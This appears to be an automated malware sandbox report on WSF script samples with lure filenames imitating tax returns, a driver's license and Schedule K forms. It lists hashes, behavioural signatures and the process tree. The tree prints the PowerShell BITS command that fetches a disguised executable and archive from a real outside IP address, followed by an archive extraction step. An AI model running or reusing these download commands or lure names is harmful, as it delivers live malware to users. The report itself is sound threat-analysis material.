Overview
overview
10Static
static
12O22-Tax-Returns.wsf
windows7-x64
102O22-Tax-Returns.wsf
windows10-2004-x64
10DRlVERS-LlCENSE.wsf
windows7-x64
10DRlVERS-LlCENSE.wsf
windows10-2004-x64
10PR0FlT&L0SS_2O23.wsf
windows7-x64
10PR0FlT&L0SS_2O23.wsf
windows10-2004-x64
10ScheduIe-K.wsf
windows7-x64
10ScheduIe-K.wsf
windows10-2004-x64
10Analysis
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max time kernel
122s -
max time network
125s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
22/01/2024, 21:29
Static task
static1
Behavioral task
behavioral1
Sample
2O22-Tax-Returns.wsf
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
2O22-Tax-Returns.wsf
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
DRlVERS-LlCENSE.wsf
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
DRlVERS-LlCENSE.wsf
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
PR0FlT&L0SS_2O23.wsf
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
PR0FlT&L0SS_2O23.wsf
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
ScheduIe-K.wsf
Resource
win7-20231129-en
General
-
Target
DRlVERS-LlCENSE.wsf
-
Size
4KB
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MD5
caa57de08040c5a7467546b863c6dade
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SHA1
94f12d37d102aece7d32c66256bbe40efb6c1a3b
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SHA256
d4f23048f4310ff503350d6d936be6ceaff825ba74cedeb52a783441aca627b7
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SHA512
123bc8e1dc3166a07692cf8f1b428cf4366daaceea60438952151cf7ea27493bb302e8f59403172857a1078c66d656d571b591d4541968958a0723626a40c957
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SSDEEP
96:pZ9YdUGcYNSoccNLevSNbZ9YdUGcYNSoccNLevSNm:pZ9YGGcYNSoGvSpZ9YGGcYNSoGvSE
Malware Config
Extracted
http://176.107.185.29:666/Rar.jpg
http://176.107.185.29:666/load.rar
Signatures
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Blocklisted process makes network request 1 IoCs
flow pid Process 3 2128 WScript.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2708 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2708 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2128 wrote to memory of 2708 2128 WScript.exe 28 PID 2128 wrote to memory of 2708 2128 WScript.exe 28 PID 2128 wrote to memory of 2708 2128 WScript.exe 28 PID 2128 wrote to memory of 2644 2128 WScript.exe 31 PID 2128 wrote to memory of 2644 2128 WScript.exe 31 PID 2128 wrote to memory of 2644 2128 WScript.exe 31
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\DRlVERS-LlCENSE.wsf"1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2128 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Start-BitsTransfer -Source 'http://176.107.185.29:666/Rar.jpg' -Destination 'C:\Users\Public\Rar.exe'; Start-BitsTransfer -Source 'http://176.107.185.29:666/load.rar' -Destination 'C:\Users\Public\load.rar'"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2708
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c Rar.exe x -p111 load.rar2⤵PID:2644
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